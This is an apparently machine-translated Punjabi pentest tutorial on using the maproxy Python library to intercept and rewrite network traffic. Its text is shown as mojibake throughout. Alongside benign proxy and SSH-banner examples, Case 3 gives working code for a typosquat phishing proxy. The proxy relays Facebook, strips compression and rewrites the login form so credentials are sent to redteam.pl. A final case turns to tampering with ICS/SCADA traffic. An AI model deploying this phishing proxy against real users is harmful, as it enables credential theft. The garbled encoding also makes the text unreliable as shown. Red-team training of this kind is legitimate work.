เจซเจฒเจพเจˆ 'เจคเฉ‡ เจจเฉˆเฉฑเจŸเจตเจฐเจ• เจกเฉ‡เจŸเจพ เจฆเฉ€ เจชเฉเจฐเจ•เจฟเจฐเจฟเจ† เจ•เจฐเฉ‹

เจฒเฉ‡เจ– เจฆเจพ เจ…เจจเฉเจตเจพเจฆ เจ•เฉ‹เจฐเจธ เจฆเฉ€ เจธเจผเฉเจฐเฉ‚เจ†เจค เจฆเฉ€ เจชเฉ‚เจฐเจต เจธเฉฐเจงเจฟเจ† 'เจคเฉ‡ เจคเจฟเจ†เจฐ เจ•เฉ€เจคเจพ เจ—เจฟเจ† เจธเฉ€ "เจชเฉ‡เจ‚เจŸเฉˆเจธเจŸ. เจชเฉเจฐเจตเฉ‡เจธเจผ เจŸเฉˆเจธเจŸเจฟเฉฐเจ— เจ…เจญเจฟเจ†เจธ".

เจซเจฒเจพเจˆ 'เจคเฉ‡ เจจเฉˆเฉฑเจŸเจตเจฐเจ• เจกเฉ‡เจŸเจพ เจฆเฉ€ เจชเฉเจฐเจ•เจฟเจฐเจฟเจ† เจ•เจฐเฉ‹

เจเจฌเจธเจŸเจฐเฉˆเจ•เจŸ

เจธเฉเจฐเฉฑเจ–เจฟเจ† เจฎเฉเจฒเจพเจ‚เจ•เจฃเจพเจ‚ เจฆเฉ€เจ†เจ‚ เจ•เจˆ เจ•เจฟเจธเจฎเจพเจ‚, เจจเจฟเจฏเจฎเจค เจชเฉเจฐเจตเฉ‡เจธเจผ เจŸเฉˆเจธเจŸเจฟเฉฐเจ— เจ…เจคเฉ‡ เจฐเฉˆเฉฑเจก เจŸเฉ€เจฎ เจ“เจชเจฐเฉ‡เจธเจผเจจเจพเจ‚ เจคเฉ‹เจ‚ เจฒเฉˆ เจ•เฉ‡ เจนเฉˆเจ•เจฟเฉฐเจ— IoT/ICS เจกเจฟเจตเจพเจˆเจธเจพเจ‚ เจ…เจคเฉ‡ SCADA เจคเฉฑเจ•, เจตเจฟเฉฑเจš เจฌเจพเจˆเจจเจฐเฉ€ เจจเฉˆเจŸเจตเจฐเจ• เจชเฉเจฐเฉ‹เจŸเฉ‹เจ•เฉ‹เจฒ เจจเจพเจฒ เจ•เฉฐเจฎ เจ•เจฐเจจเจพ เจธเจผเจพเจฎเจฒ เจนเฉˆ, เจฏเจพเจจเฉ€ เจ•เจฟ เจ•เจฒเจพเจ‡เฉฐเจŸ เจ…เจคเฉ‡ เจŸเฉ€เจšเฉ‡ เจฆเฉ‡ เจตเจฟเจšเจ•เจพเจฐ เจจเฉˆเจŸเจตเจฐเจ• เจกเฉ‡เจŸเจพ เจจเฉ‚เฉฐ เจฒเจพเจœเจผเจฎเฉ€ เจคเฉŒเจฐ 'เจคเฉ‡ เจฐเฉ‹เจ•เจจเจพ เจ…เจคเฉ‡ เจธเฉ‹เจงเจฃเจพ เจธเจผเจพเจฎเจฒ เจนเฉˆเฅค เจจเฉˆเฉฑเจŸเจตเจฐเจ• เจŸเฉเจฐเฉˆเจซเจฟเจ• เจจเฉ‚เฉฐ เจธเฉเฉฐเจ˜เจฃเจพ เจ•เฉ‹เจˆ เจ”เจ–เจพ เจ•เฉฐเจฎ เจจเจนเฉ€เจ‚ เจนเฉˆ เจ•เจฟเจ‰เจ‚เจ•เจฟ เจธเจพเจกเฉ‡ เจ•เฉ‹เจฒ Wireshark, Tcpdump เจœเจพเจ‚ Scapy เจตเจฐเจ—เฉ‡ เจŸเฉ‚เจฒ เจนเจจ, เจชเจฐ เจธเฉ‹เจง เจ‡เฉฑเจ• เจœเจผเจฟเจ†เจฆเจพ เจฎเจฟเจนเจจเจค เจตเจพเจฒเจพ เจ•เฉฐเจฎ เจœเจพเจชเจฆเจพ เจนเฉˆ เจ•เจฟเจ‰เจ‚เจ•เจฟ เจธเจพเจกเฉ‡ เจ•เฉ‹เจฒ เจจเฉˆเฉฑเจŸเจตเจฐเจ• เจกเฉ‡เจŸเจพ เจจเฉ‚เฉฐ เจชเฉœเฉเจนเจจ, เจ‡เจธเจจเฉ‚เฉฐ เจซเจฟเจฒเจŸเจฐ เจ•เจฐเจจ, เจฌเจฆเจฒเจฃ เจฒเจˆ เจ•เจฟเจธเฉ‡ เจ•เจฟเจธเจฎ เจฆเฉ‡ เจ‡เฉฐเจŸเจฐเจซเฉ‡เจธ เจฆเฉ€ เจฒเฉ‹เฉœ เจชเจตเฉ‡เจ—เฉ€เฅค เจ‡เจธ เจจเฉ‚เฉฐ เจ‰เฉฑเจกเจฆเฉ‡ เจนเฉ‹เจ เจ…เจคเฉ‡ เจฒเจ—เจญเจ— เจ…เจธเจฒ เจธเจฎเฉ‡เจ‚ เจตเจฟเฉฑเจš เจŸเฉ€เจšเฉ‡ เจฆเฉ‡ เจฎเฉ‡เจœเจผเจฌเจพเจจ เจจเฉ‚เฉฐ เจตเจพเจชเจธ เจญเฉ‡เจœเฉ‹เฅค เจ‡เจธ เจคเฉ‹เจ‚ เจ‡เจฒเจพเจตเจพ, เจ‡เจน เจ†เจฆเจฐเจธเจผ เจนเฉ‹เจตเฉ‡เจ—เจพ เจœเฉ‡เจ•เจฐ เจ…เจœเจฟเจนเจพ เจŸเฉ‚เจฒ เจธเจตเฉˆเจšเจฒเจฟเจค เจคเฉŒเจฐ 'เจคเฉ‡ เจ•เจˆ เจธเจฎเจพเจจเจพเจ‚เจคเจฐ เจ•เจจเฉˆเจ•เจธเจผเจจเจพเจ‚ เจจเจพเจฒ เจ•เฉฐเจฎ เจ•เจฐ เจธเจ•เจฆเจพ เจนเฉˆ เจ…เจคเฉ‡ เจธเจ•เฉเจฐเจฟเจชเจŸเจพเจ‚ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจ•เฉ‡ เจ…เจจเฉเจ•เฉ‚เจฒเจฟเจค เจนเฉ‹ เจธเจ•เจฆเจพ เจนเฉˆเฅค

เจ‡เฉฑเจ• เจฆเจฟเจจ เจฎเฉˆเจจเฉ‚เฉฐ เจ‡เฉฑเจ• เจธเฉฐเจฆ เจจเจพเจฎ เจฆเฉ€ เจ–เฉ‹เจœ เจ•เฉ€เจคเฉ€ maproxy, เจฆเจธเจคเจพเจตเฉ‡เจœเจผเจพเจ‚ เจจเฉ‡ เจœเจฒเจฆเฉ€ เจนเฉ€ เจฎเฉˆเจจเฉ‚เฉฐ เจ‡เจน เจธเจชเฉฑเจธเจผเจŸ เจ•เจฐ เจฆเจฟเฉฑเจคเจพ เจ•เจฟ maproxy - เจฌเฉฑเจธ เจฎเฉˆเจจเฉ‚เฉฐ เจ•เฉ€ เจšเจพเจนเฉ€เจฆเจพ เจนเฉˆเฅค เจ‡เจน เจ•เจพเจซเจผเฉ€ เจธเจงเจพเจฐเจจ, เจฌเจนเฉเจฎเฉเจ–เฉ€ เจ…เจคเฉ‡ เจ†เจธเจพเจจเฉ€ เจจเจพเจฒ เจ•เฉŒเจ‚เจซเจฟเจ—เจฐ เจ•เจฐเจจ เจฏเฉ‹เจ— TCP เจชเฉเจฐเฉŒเจ•เจธเฉ€ เจนเฉˆเฅค เจฎเฉˆเจ‚ เจ‡เจน เจฆเฉ‡เจ–เจฃ เจฒเจˆ เจ•เจฟ เจ•เฉ€ เจ‡เจน เจฌเจนเฉเจค เจธเจพเจฐเฉ‡ เจธเจฎเจพเจจเจพเจ‚เจคเจฐ เจ•เจจเฉˆเจ•เจธเจผเจจเจพเจ‚ เจจเฉ‚เฉฐ เจธเฉฐเจญเจพเจฒ เจธเจ•เจฆเจพ เจนเฉˆ, เจ…เจคเฉ‡ เจŸเฉ‚เจฒ เจจเฉ‡ เจตเจงเฉ€เจ† เจชเฉเจฐเจฆเจฐเจธเจผเจจ เจ•เฉ€เจคเจพ เจนเฉˆ, เจ‡เจน เจฆเฉ‡เจ–เจฃ เจฒเจˆ เจ•เจฟ เจ•เฉ€ เจ‡เจน เจฆเฉ‡เจ–เจฃ เจฒเจˆ ICS เจกเจฟเจตเจพเจˆเจธเจพเจ‚ (เจœเฉ‹ เจฌเจนเฉเจค เจธเจพเจฐเฉ‡ เจชเฉˆเจ•เฉ‡เจŸ เจคเจฟเจ†เจฐ เจ•เจฐเจฆเฉ‡ เจนเจจ) เจธเจฎเฉ‡เจค เจ•เจˆ เจ•เจพเจซเจผเฉ€ เจ—เฉเฉฐเจเจฒเจฆเจพเจฐ เจเจชเจฒเฉ€เจ•เฉ‡เจธเจผเจจเจพเจ‚ 'เจคเฉ‡ เจ‡เจธ เจŸเฉ‚เจฒ เจฆเฉ€ เจœเจพเจ‚เจš เจ•เฉ€เจคเฉ€ เจนเฉˆเฅค

เจ‡เจน เจฒเฉ‡เจ– เจคเฉเจนเจพเจจเฉ‚เฉฐ เจซเจฒเจพเจˆ 'เจคเฉ‡ เจจเฉˆเจŸเจตเจฐเจ• เจกเฉ‡เจŸเจพ เจฆเฉ€ เจชเฉเจฐเจ•เจฟเจฐเจฟเจ† เจ•เจฐเจจ เจฒเจˆ เจชเฉ‡เจธเจผ เจ•เจฐเฉ‡เจ—เจพ maproxy.

เจธเฉฐเจ–เฉ‡เจช

เจŸเฉ‚เจฒ maproxy เจŸเฉ‹เจฐเจจเจพเจกเฉ‹ 'เจคเฉ‡ เจ…เจงเจพเจฐเจค เจนเฉˆ, เจชเจพเจˆเจฅเจจ เจตเจฟเฉฑเจš เจ‡เฉฑเจ• เจชเฉเจฐเจธเจฟเฉฑเจง เจ…เจคเฉ‡ เจชเจฐเจฟเจชเฉฑเจ• เจ…เจธเจฟเฉฐเจ•เฉเจฐเฉ‹เจจเจธ เจจเฉˆเจŸเจตเจฐเจ•เจฟเฉฐเจ— เจซเจฐเฉ‡เจฎเจตเจฐเจ•เฅค

เจ†เจฎ เจคเฉŒเจฐ 'เจคเฉ‡, เจ‡เจน เจ•เจˆ เจฎเฉ‹เจกเจพเจ‚ เจตเจฟเฉฑเจš เจ•เฉฐเจฎ เจ•เจฐ เจธเจ•เจฆเจพ เจนเฉˆ:

  • TCP:TCP - เจ…เจฃเจ‡เฉฐเจ•เฉเจฐเจฟเจชเจŸเจก TCP เจ•เจจเฉˆเจ•เจธเจผเจจ;
  • TCP:SSL ะธ SSL:TCP - เจ‡เฉฑเจ• เจคเจฐเจซเจพ เจเจจเจ•เฉเจฐเจฟเจชเจธเจผเจจ เจฆเฉ‡ เจจเจพเจฒ;
  • SSL:SSL - เจฆเฉ‹-เจชเฉฑเจ–เฉ€ เจเจจเจ•เฉเจฐเจฟเจชเจธเจผเจจเฅค

เจ‡เจน เจ‡เฉฑเจ• เจฒเจพเจ‡เจฌเฉเจฐเฉ‡เจฐเฉ€ เจฆเฉ‡ เจฐเฉ‚เจช เจตเจฟเฉฑเจš เจ†เจ‰เจ‚เจฆเจพ เจนเฉˆเฅค เจ‡เฉฑเจ• เจคเฉ‡เจœเจผ เจธเจผเฉเจฐเฉ‚เจ†เจค เจฒเจˆ, เจคเฉเจธเฉ€เจ‚ เจ‰เจฆเจพเจนเจฐเจจ เจซเจพเจˆเจฒเจพเจ‚ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐ เจธเจ•เจฆเฉ‡ เจนเฉ‹ เจœเฉ‹ เจฎเฉเฉฑเจ– เจจเฉ‚เฉฐ เจฆเจฐเจธเจพเจ‰เจ‚เจฆเฉ€เจ†เจ‚ เจนเจจ เจฒเจพเจ‡เจฌเฉเจฐเฉ‡เจฐเฉ€ เจซเฉฐเจ•เจธเจผเจจ:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

เจ•เฉ‡เจธ 1 - เจธเจงเจพเจฐเจจ เจฆเฉ‹-เจฆเจฟเจธเจผเจพเจตเฉ€ เจชเฉเจฐเฉŒเจ•เจธเฉ€

เจฆเฉ‡ เจ…เจงเจพเจฐ เจคเฉ‡ tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

เจฎเฉ‚เจฒ เจฐเฉ‚เจช เจตเจฟเฉฑเจš ProxyServer() เจฆเฉ‹ เจ†เจฐเจ—เฉ‚เจฎเฉˆเจ‚เจŸเจพเจ‚ เจฒเฉˆเจ‚เจฆเจพ เจนเฉˆ - เจ•เฉเจจเฉˆเจ•เจธเจผเจจ เจŸเจฟเจ•เจพเจฃเจพ เจ…เจคเฉ‡ เจจเจฟเจธเจผเจพเจจเจพ เจชเฉ‹เจฐเจŸเฅค server.listen() เจ‡เฉฑเจ• เจ†เจฐเจ—เฉ‚เจฎเฉˆเจ‚เจŸ เจฒเฉˆเจ‚เจฆเจพ เจนเฉˆ - เจ†เจ‰เจฃ เจตเจพเจฒเฉ‡ เจ•เฉเจจเฉˆเจ•เจธเจผเจจ เจจเฉ‚เฉฐ เจธเฉเจฃเจจ เจฒเจˆ เจชเฉ‹เจฐเจŸเฅค

เจธเจ•เฉเจฐเจฟเจชเจŸ เจจเฉ‚เฉฐ เจšเจฒเจพเจ‰เจฃเจพ:

# python tcp2tcp.py

เจŸเฉˆเจธเจŸ เจจเฉ‚เฉฐ เจšเจฒเจพเจ‰เจฃ เจฒเจˆ, เจ…เจธเฉ€เจ‚ เจ†เจชเจฃเฉ€ เจชเฉเจฐเฉŒเจ•เจธเฉ€ เจธเจ•เฉเจฐเจฟเจชเจŸ เจฆเฉเจ†เจฐเจพ เจ‡เฉฑเจ• เจธเจฅเจพเจจเจ• SSH เจธเจฐเจตเจฐ เจจเจพเจฒ เจœเฉเฉœเจจ เจœเจพ เจฐเจนเฉ‡ เจนเจพเจ‚, เจœเฉ‹ เจ‡เจธ 'เจคเฉ‡ เจธเฉเจฃเจฆเจพ เจนเฉˆ 2222/tcp เจชเฉ‹เจฐเจŸ เจ…เจคเฉ‡ เจ‡เฉฑเจ• เจฎเจฟเจ†เจฐเฉ€ เจชเฉ‹เจฐเจŸ เจจเจพเจฒ เจœเฉเฉœเจฆเจพ เจนเฉˆ 22/tcp SSH เจธเจฐเจตเจฐ:

เจซเจฒเจพเจˆ 'เจคเฉ‡ เจจเฉˆเฉฑเจŸเจตเจฐเจ• เจกเฉ‡เจŸเจพ เจฆเฉ€ เจชเฉเจฐเจ•เจฟเจฐเจฟเจ† เจ•เจฐเฉ‹

เจธเฉเจ†เจ—เจค เจฌเฉˆเจจเจฐ เจคเฉเจนเจพเจจเฉ‚เฉฐ เจธเฉ‚เจšเจฟเจค เจ•เจฐเจฆเจพ เจนเฉˆ เจ•เจฟ เจธเจพเจกเฉ€ เจ‰เจฆเจพเจนเจฐเจจ เจธเจ•เฉเจฐเจฟเจชเจŸ เจจเฉ‡ เจจเฉˆเฉฑเจŸเจตเจฐเจ• เจŸเฉเจฐเฉˆเจซเจฟเจ• เจจเฉ‚เฉฐ เจธเจซเจฒเจคเจพเจชเฉ‚เจฐเจตเจ• เจชเฉเจฐเฉŒเจ•เจธเฉ€ เจ•เฉ€เจคเจพ เจนเฉˆเฅค

เจ•เฉ‡เจธ 2 - เจกเจพเจŸเจพ เจธเฉ‹เจง

เจ‡เฉฑเจ• เจนเฉ‹เจฐ เจกเฉˆเจฎเฉ‹ เจธเจ•เฉเจฐเจฟเจชเจŸ logging_proxy.py เจจเฉˆเฉฑเจŸเจตเจฐเจ• เจกเจพเจŸเจพ เจจเจพเจฒ เจ‡เฉฐเจŸเจฐเฉˆเจ•เจŸ เจ•เจฐเจจ เจฒเจˆ เจ†เจฆเจฐเจธเจผ. เจซเจพเจˆเจฒ เจตเจฟเฉฑเจš เจŸเจฟเฉฑเจชเจฃเฉ€เจ†เจ‚ เจ‰เจนเจจเจพเจ‚ เจ•เจฒเจพเจธ เจคเจฐเฉ€เจ•เจฟเจ†เจ‚ เจฆเจพ เจตเจฐเจฃเจจ เจ•เจฐเจฆเฉ€เจ†เจ‚ เจนเจจ เจœเจฟเจนเจจเจพเจ‚ เจจเฉ‚เฉฐ เจคเฉเจธเฉ€เจ‚ เจ†เจชเจฃเฉ‡ เจŸเฉ€เจšเฉ‡ เจจเฉ‚เฉฐ เจชเฉเจฐเจพเจชเจค เจ•เจฐเจจ เจฒเจˆ เจธเฉ‹เจง เจธเจ•เจฆเฉ‡ เจนเฉ‹:

เจซเจฒเจพเจˆ 'เจคเฉ‡ เจจเฉˆเฉฑเจŸเจตเจฐเจ• เจกเฉ‡เจŸเจพ เจฆเฉ€ เจชเฉเจฐเจ•เจฟเจฐเจฟเจ† เจ•เจฐเฉ‹

เจธเจญ เจคเฉ‹เจ‚ เจฆเจฟเจฒเจšเจธเจช เจ—เฉฑเจฒ เจ‡เฉฑเจฅเฉ‡ เจนเฉˆ:

  • on_c2p_done_read - เจ•เจฒเจพเจ‡เฉฐเจŸ เจคเฉ‹เจ‚ เจธเจฐเจตเจฐ เจคเฉฑเจ• เจฆเฉ‡ เจฐเจธเจคเฉ‡ เจตเจฟเฉฑเจš เจกเฉ‡เจŸเจพ เจจเฉ‚เฉฐ เจฐเฉ‹เจ•เจฃ เจฒเจˆ;
  • on_p2s_done_read - เจ‰เจฒเจŸเจพ.

เจ†เจ“ SSH เจฌเฉˆเจจเจฐ เจจเฉ‚เฉฐ เจฌเจฆเจฒเจฃ เจฆเฉ€ เจ•เฉ‹เจธเจผเจฟเจธเจผ เจ•เจฐเฉ€เจ เจœเฉ‹ เจธเจฐเจตเจฐ เจ•เจฒเจพเจ‡เฉฐเจŸ เจจเฉ‚เฉฐ เจตเจพเจชเจธ เจ•เจฐเจฆเจพ เจนเฉˆ:

[โ€ฆ]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[โ€ฆ]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[โ€ฆ]

เจธเจ•เฉเจฐเจฟเจชเจŸ เจšเจฒเจพเจ“:

เจซเจฒเจพเจˆ 'เจคเฉ‡ เจจเฉˆเฉฑเจŸเจตเจฐเจ• เจกเฉ‡เจŸเจพ เจฆเฉ€ เจชเฉเจฐเจ•เจฟเจฐเจฟเจ† เจ•เจฐเฉ‹

เจœเจฟเจตเฉ‡เจ‚ เจ•เจฟ เจคเฉเจธเฉ€เจ‚ เจตเฉ‡เจ– เจธเจ•เจฆเฉ‡ เจนเฉ‹, เจ•เจฒเจพเจ‡เฉฐเจŸ เจจเฉ‚เฉฐ เจ—เฉเฉฐเจฎเจฐเจพเจน เจ•เฉ€เจคเจพ เจ—เจฟเจ† เจธเฉ€ เจ•เจฟเจ‰เจ‚เจ•เจฟ เจ‰เจธเจฆเฉ‡ เจฒเจˆ SSH เจธเจฐเจตเจฐ เจฆเจพ เจจเจพเจฎ เจฌเจฆเจฒเจฟเจ† เจ—เจฟเจ† เจธเฉ€ ยซDumnySSHยป.

เจซเจฒเจพเจˆ 'เจคเฉ‡ เจจเฉˆเฉฑเจŸเจตเจฐเจ• เจกเฉ‡เจŸเจพ เจฆเฉ€ เจชเฉเจฐเจ•เจฟเจฐเจฟเจ† เจ•เจฐเฉ‹

เจ•เฉ‡เจธ 3 - เจธเจงเจพเจฐเจจ เจซเจฟเจธเจผเจฟเฉฐเจ— เจตเฉˆเฉฑเจฌ เจชเฉฐเจจเจพ

เจ‡เจธ เจธเจพเจงเจจ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจจ เจฆเฉ‡ เจฌเฉ‡เจ…เฉฐเจค เจคเจฐเฉ€เจ•เฉ‡ เจนเจจ. เจ‡เจธ เจตเจพเจฐ เจ†เจ‰ เจฐเฉˆเฉฑเจก เจŸเฉ€เจฎ เจ“เจชเจฐเฉ‡เจธเจผเจจ เจตเจพเจฒเฉ‡ เจชเจพเจธเฉ‡ เจคเฉ‹เจ‚ เจ•เฉเจ เจนเฉ‹เจฐ เจตเจฟเจนเจพเจฐเจ• 'เจคเฉ‡ เจงเจฟเจ†เจจ เจ•เฉ‡เจ‚เจฆเจฐเจฟเจค เจ•เจฐเฉ€เจเฅค เจ†เจ“ เจฒเฉˆเจ‚เจกเจฟเฉฐเจ— เจชเฉฐเจจเฉ‡ เจฆเฉ€ เจจเจ•เจฒ เจ•เจฐเฉ€เจ m.facebook.com เจ…เจคเฉ‡ เจœเจพเจฃเจฌเฉเฉฑเจ เจ•เฉ‡ เจŸเจพเจˆเจชเฉ‹ เจฆเฉ‡ เจจเจพเจฒ เจ‡เฉฑเจ• เจ•เจธเจŸเจฎ เจกเฉ‹เจฎเฉ‡เจจ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเฉ‹, เจ‰เจฆเจพเจนเจฐเจจ เจฒเจˆ, m.facebok.com. เจชเฉเจฐเจฆเจฐเจธเจผเจจ เจฆเฉ‡ เจ‰เจฆเฉ‡เจธเจผเจพเจ‚ เจฒเจˆ, เจ†เจ“ เจ‡เจน เจฎเฉฐเจจ เจฒเจˆเจ เจ•เจฟ เจกเฉ‹เจฎเฉ‡เจจ เจธเจพเจกเฉ‡ เจฆเฉเจ†เจฐเจพ เจฐเจœเจฟเจธเจŸเจฐ เจ•เฉ€เจคเจพ เจ—เจฟเจ† เจนเฉˆเฅค

เจ…เจธเฉ€เจ‚ เจ†เจชเจฃเฉ‡ เจชเฉ€เฉœเจคเจพเจ‚ เจฆเฉ€ เจชเฉเจฐเฉŒเจ•เจธเฉ€ เจ…เจคเฉ‡ เจซเฉ‡เจธเจฌเฉเฉฑเจ• เจธเจฐเจตเจฐ (31.13.81.36). เจ‡เจธ เจ‰เจฆเจพเจนเจฐเจจ เจจเฉ‚เฉฐ เจ•เฉฐเจฎ เจ•เจฐเจจ เจฒเจˆ, เจธเจพเจจเฉ‚เฉฐ HTTP เจนเฉ‹เจธเจŸ เจธเจฟเจฐเจฒเฉ‡เจ– เจจเฉ‚เฉฐ เจฌเจฆเจฒเจฃ เจ…เจคเฉ‡ เจธเจนเฉ€ เจนเฉ‹เจธเจŸเจจเจพเจฎ เจจเฉ‚เฉฐ เจ‡เฉฐเจœเฉˆเจ•เจŸ เจ•เจฐเจจ เจฆเฉ€ เจฒเฉ‹เฉœ เจนเฉˆ, เจ…เจคเฉ‡ เจ…เจธเฉ€เจ‚ เจœเจตเจพเจฌ เจธเฉฐเจ•เฉเจšเจจ เจจเฉ‚เฉฐ เจตเฉ€ เจ…เจธเจฎเจฐเฉฑเจฅ เจฌเจฃเจพเจตเจพเจ‚เจ—เฉ‡ เจคเจพเจ‚ เจœเฉ‹ เจ…เจธเฉ€เจ‚ เจธเจฎเฉฑเจ—เจฐเฉ€ เจจเฉ‚เฉฐ เจ†เจธเจพเจจเฉ€ เจจเจพเจฒ เจเจ•เจธเฉˆเจธ เจ•เจฐ เจธเจ•เฉ€เจเฅค เจ…เฉฐเจค เจตเจฟเฉฑเจš เจ…เจธเฉ€เจ‚ HTML เจซเจพเจฐเจฎ เจจเฉ‚เฉฐ เจฌเจฆเจฒ เจฆเฉ‡เจตเจพเจ‚เจ—เฉ‡ เจคเจพเจ‚ เจœเฉ‹ เจฒเฉŒเจ—เจ‡เจจ เจชเฉเจฐเจฎเจพเจฃ เจชเฉฑเจคเจฐ Facebook เจฆเฉ‡ เจธเจฐเจตเจฐเจพเจ‚ เจฆเฉ€ เจฌเจœเจพเจ เจธเจพเจจเฉ‚เฉฐ เจญเฉ‡เจœเฉ‡ เจœเจพเจฃ:

[โ€ฆ]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[โ€ฆ]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/pa/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[โ€ฆ]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[โ€ฆ]

เจธเฉฐเจ–เฉ‡เจช เจตเจฟเฉฑเจš:

เจซเจฒเจพเจˆ 'เจคเฉ‡ เจจเฉˆเฉฑเจŸเจตเจฐเจ• เจกเฉ‡เจŸเจพ เจฆเฉ€ เจชเฉเจฐเจ•เจฟเจฐเจฟเจ† เจ•เจฐเฉ‹

เจœเจฟเจตเฉ‡เจ‚ เจ•เจฟ เจคเฉเจธเฉ€เจ‚ เจฆเฉ‡เจ– เจธเจ•เจฆเฉ‡ เจนเฉ‹, เจ…เจธเฉ€เจ‚ เจธเจซเจฒเจคเจพเจชเฉ‚เจฐเจตเจ• เจ…เจธเจฒเฉ€ เจธเจพเจˆเจŸ เจจเฉ‚เฉฐ เจฌเจฆเจฒเจฃ เจฆเฉ‡ เจฏเฉ‹เจ— เจธเฉ€เฅค

เจ•เฉ‡เจธ 4 - เจชเฉ‹เจฐเจŸเจฟเฉฐเจ— เจˆเจฅเจฐเจจเฉˆเฉฑเจŸ/IP

เจฎเฉˆเจ‚ เจ•เจพเจซเจผเฉ€ เจธเจฎเฉ‡เจ‚ เจคเฉ‹เจ‚ เจ‰เจฆเจฏเฉ‹เจ—เจฟเจ• เจ‰เจชเจ•เจฐเจจเจพเจ‚ เจ…เจคเฉ‡ เจธเฉŒเจซเจŸเจตเฉ‡เจ…เจฐ (ICS/SCADA) เจจเจพเจฒ เจ•เฉฐเจฎ เจ•เจฐ เจฐเจฟเจนเจพ เจนเจพเจ‚, เจœเจฟเจตเฉ‡เจ‚ เจ•เจฟ เจชเฉเจฐเฉ‹เจ—เจฐเจพเจฎเฉ‡เจฌเจฒ เจ•เฉฐเจŸเจฐเฉ‹เจฒเจฐ (PLC), I/O เจฎเฉ‹เจกเฉ€เจŠเจฒ, เจกเจฐเจพเจˆเจต, เจฐเฉ€เจฒเฉ‡เจ…, เจชเฉŒเฉœเฉ€ เจชเฉเจฐเฉ‹เจ—เจฐเจพเจฎเจฟเฉฐเจ— เจตเจพเจคเจพเจตเจฐเจฃ เจ…เจคเฉ‡ เจนเฉ‹เจฐ เจฌเจนเฉเจค เจธเจพเจฐเฉ‡เฅค เจ‡เจน เจ•เฉ‡เจธ เจ‰เจจเฉเจนเจพเจ‚ เจฒเจˆ เจนเฉˆ เจœเฉ‹ เจ‰เจฆเจฏเฉ‹เจ—เจฟเจ• เจšเฉ€เจœเจผเจพเจ‚ เจจเฉ‚เฉฐ เจชเจธเฉฐเจฆ เจ•เจฐเจฆเฉ‡ เจนเจจ. เจ…เจœเจฟเจนเฉ‡ เจนเฉฑเจฒเจพเจ‚ เจจเฉ‚เฉฐ เจนเฉˆเจ• เจ•เจฐเจจ เจตเจฟเฉฑเจš เจจเฉˆเฉฑเจŸเจตเจฐเจ• เจชเฉเจฐเฉ‹เจŸเฉ‹เจ•เฉ‹เจฒ เจจเจพเจฒ เจธเจฐเจ—เจฐเจฎเฉ€ เจจเจพเจฒ เจ–เฉ‡เจกเจฃเจพ เจธเจผเจพเจฎเจฒ เจนเฉเฉฐเจฆเจพ เจนเฉˆเฅค เจนเฉ‡เจ เจพเจ‚ เจฆเจฟเฉฑเจคเฉ€ เจ‰เจฆเจพเจนเจฐเจจ เจตเจฟเฉฑเจš, เจฎเฉˆเจ‚ เจ‡เจน เจฆเจฟเจ–เจพเจ‰เจฃเจพ เจšเจพเจนเจพเจ‚เจ—เจพ เจ•เจฟ เจคเฉเจธเฉ€เจ‚ ICS/SCADA เจจเฉˆเฉฑเจŸเจตเจฐเจ• เจŸเฉเจฐเฉˆเจซเจฟเจ• เจจเฉ‚เฉฐ เจ•เจฟเจตเฉ‡เจ‚ เจธเฉ‹เจง เจธเจ•เจฆเฉ‡ เจนเฉ‹เฅค

เจ‡เจธเจฆเฉ‡ เจฒเจˆ เจคเฉเจนเจพเจจเฉ‚เฉฐ เจนเฉ‡เจ  เจฒเจฟเจ–เจฟเจ†เจ‚ เจฆเฉ€ เจฒเฉ‹เฉœ เจนเฉ‹เจตเฉ‡เจ—เฉ€:

  • เจจเฉˆเฉฑเจŸเจตเจฐเจ• เจธเฉเฉฐเจ˜เจฃ เจตเจพเจฒเจพ, เจ‰เจฆเจพเจนเจฐเจจ เจฒเจˆ, เจตเจพเจ‡เจฐเจธเจผเจพเจฐเจ•;
  • เจˆเจฅเจฐเจจเฉˆเฉฑเจŸ/เจ†เจˆเจชเฉ€ เจœเจพเจ‚ เจธเจฟเจฐเจซเจผ เจ‡เฉฑเจ• SIP เจกเจฟเจตเจพเจˆเจธ, เจคเฉเจธเฉ€เจ‚ เจ‡เจธเจจเฉ‚เฉฐ เจธเจผเฉ‹เจกเจจ เจธเฉ‡เจตเจพ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจ•เฉ‡ เจฒเฉฑเจญ เจธเจ•เจฆเฉ‡ เจนเฉ‹;
  • เจธเจพเจกเฉ€ เจธเจ•เฉเจฐเจฟเจชเจŸ 'เจคเฉ‡ เจ†เจงเจพเจฐเจฟเจค เจนเฉˆ maproxy.

